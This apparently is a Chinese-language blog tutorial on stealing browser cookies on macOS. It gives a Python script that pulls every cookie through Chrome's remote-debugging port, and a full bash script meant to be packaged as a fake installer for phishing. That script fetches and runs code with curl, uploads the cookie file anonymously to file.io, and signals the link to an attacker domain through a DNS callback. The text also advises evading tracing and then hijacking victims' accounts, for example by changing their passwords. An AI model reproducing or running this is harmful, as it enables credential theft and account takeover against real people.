HackBrowserData 是一个浏览器数据(密码|历史记录|Cookie|书签|信用卡|下载记录|localStorage|浏览器插件)的导出工具,支持全平台主流浏览器。
https://github.com/moonD4rk/HackBrowserData/blob/master/README_ZH.md
windows获取浏览器记录
mac使用远程调试:
启动远程调试
在 Mac 终端下启动浏览器的远程调试可以使用以下步骤:
- 首先确认远程调试已经打开,开启远程调试步骤如下:在要调试的浏览器中输入 chrome://inspect/#devices,勾选需要远程调试的页面后点击“inspect”即可。
- 在命令行中输入以下命令启动 Chrome 浏览器(或者其他需要调试的浏览器):
1
| /Applications/Google\ Chrome.app/Contents/MacOS/Google\ Chrome --remote-debugging-port=9222
|
如果要启动 Safari 浏览器,则可使用以下命令:
1
| /Applications/Safari.app/Contents/MacOS/Safari -p 9222
|
- 接下来,在本机的 Chrome 浏览器中输入 localhost:9222 即可连接远程调试,选择要调试的页面进行远程调试。
1 2 3 4 5 6 7 8
| "/Applications/Google Chrome.app/Contents/MacOS/Google Chrome" \ --remote-debugging-port=9222 \ --user-data-dir="/Users/${username}/Library/Application Support/Google/Chrome" \ --crash-dumps-dir=/tmp \ --disable-gpu \ --disk-cache-dir=/tmp \ --restore-last-session \ --remote-allow-origins=* &
|
获取浏览器现有的cookie
1
| curl https://127.0.0.1:9222/json
|
然后你就会获取到大量的webSocketDebuggerUrl
用Simple WebSocket Client插件来实现
这里webSocketDebuggerUrl随机选一个填入就行,然后send {“id”: 1, “method”: “Network.getAllCookies”},就可以得到所有保存的cookie
用python脚本来实现
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67
| import argparse import csv import json import random import urllib.request import websocket
parser = argparse.ArgumentParser() parser.add_argument("--ip", help="Chrome Remote Debugging IP", required=True) parser.add_argument("--port", help="Chrome Remote Debugging Port", required=True) args = parser.parse_args()
debugging_url = "http://{}:{}/json".format(args.ip, args.port)
with urllib.request.urlopen(debugging_url) as url: data = json.loads(url.read().decode()) webSocketDebuggerUrl = random.choice(data)["webSocketDebuggerUrl"] print(webSocketDebuggerUrl)
ws = websocket.create_connection(webSocketDebuggerUrl) ws.send('{"id": 1, "method": "Network.getAllCookies"}') result = ws.recv() response = json.loads(result)
cookies = response['result']['cookies']
with open('cookie.json', 'w') as f: json.dump(cookies, f, indent=2) print("cookie.json saved!")
with open('cookie.csv', 'w', newline='') as f: writer = csv.writer(f) writer.writerow(['name', 'value', 'domain', 'path', 'expires', 'httpOnly', 'secure', 'sameSite']) for cookie in cookies: writer.writerow([ cookie.get('name', ''), cookie.get('value', ''), cookie.get('domain', ''), cookie.get('path', ''), cookie.get('expires', ''), cookie.get('httpOnly', ''), cookie.get('secure', ''), cookie.get('sameSite', ''), ]) print("cookie.csv saved!") total_cookies = len(cookies) print("本次总计获取到 {} 条 cookie".format(total_cookies))
ws.close()
|
使用Cookie Editor添加所需的cookie,然后就可以直接操作了
自动化钓鱼或者入侵后的信息收集
一般分两种情况:
- 无论是钓鱼还是溯源,我们都需要让他自己运行一次,然后把cookie文件返回给我们
- 我们已经入侵了机器,现在只需要收集cookie文件就行,无需进行文件回传(直接操作下载就行)
钓鱼的思路:
写一个sh脚本用pkg打包或者dmg打包,伪装安装包的形式让其运行。
这里有几个要点:
- 执行的时候无文件落地
1
| curl -s https://www.xxx.com/a.sh | bash
|
然后我们这里可以设置脚本一分钟内有效(防止溯源)用cos设置比较简单,或者有肉鸡站,使用完直接删除就行。
或者自己写一个接口,给他颁发一个key,这个key一次有效性,(类似于敲门的机制)
- 回传cookie文件的时候要匿名
使用匿名frp (https://file.io)
会直接返回一个存放文件的地址
自动化的sh脚本:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51
| #!/bin/bash
killall "Google Chrome"
username=$(whoami)
"/Applications/Google Chrome.app/Contents/MacOS/Google Chrome" \ --remote-debugging-port=9222 \ --user-data-dir="/Users/${username}/Library/Application Support/Google/Chrome" \ --crash-dumps-dir=/tmp \ --disable-gpu \ --disk-cache-dir=/tmp \ --restore-last-session \ --remote-allow-origins=* &
curl -O -k https://google-1259711289.cos.ap-beijing.myqcloud.com/google.zip unzip -P biubiubiu -o google.zip -d ~/Downloads/ && rm google.zip cd ~/Downloads/google && pip3 install -r requirements.txt python3 getcookie.py --ip 127.0.0.1 --port 9222
response=$(curl -k -F "file=@cookie.csv" https://file.io) file_link=$(echo $response | sed -n 's/.*"link":"https:\/\/file.io\/\([^"]*\).*/\1/p')
if [ -z "$file_link" ]; then echo "文件上传失败:" echo $response exit 1 fi
echo "文件上传成功,链接:https://file.io/$file_link"
encoded_file_link=$(printf ${file_link//:/_%3A_} | tr '/.' '_%2E_') USERNAME="$encoded_file_link" echo USERNAME
DOMAIN="$1" curl "http://$USERNAME.$DOMAIN" -s -o /dev/null killall "Google Chrome" rm -rf ~/Downloads/google
|
这里取决于你想不想把文件给发送回来,如果是钓鱼的话,还是要发送回来的
1
| curl -s "你的脚本链接" |bash -s -- 你的dnslog地址
|
然后打包一个pkg安装包,把这个放进去就可以进行钓鱼了。准备好你的sh远程地址和dnslog地址就行。 当然你也可以直接加上上线的命令。直接就一劳永逸。
信息收集的思路:
直接进去无文件落地+cos一分钟有效授权就开了弄
1
| curl -s "你的脚本链接" |bash -s -- 你的dnslog地址
|
然后你会在dnslog看到你的文件链接。直接https://file.io/+你的文件链接
然后你就可以拿到cookie了。筛选后用Cookie Editor,上去看看他能干啥,修改个密码啥的。你想干啥就干啥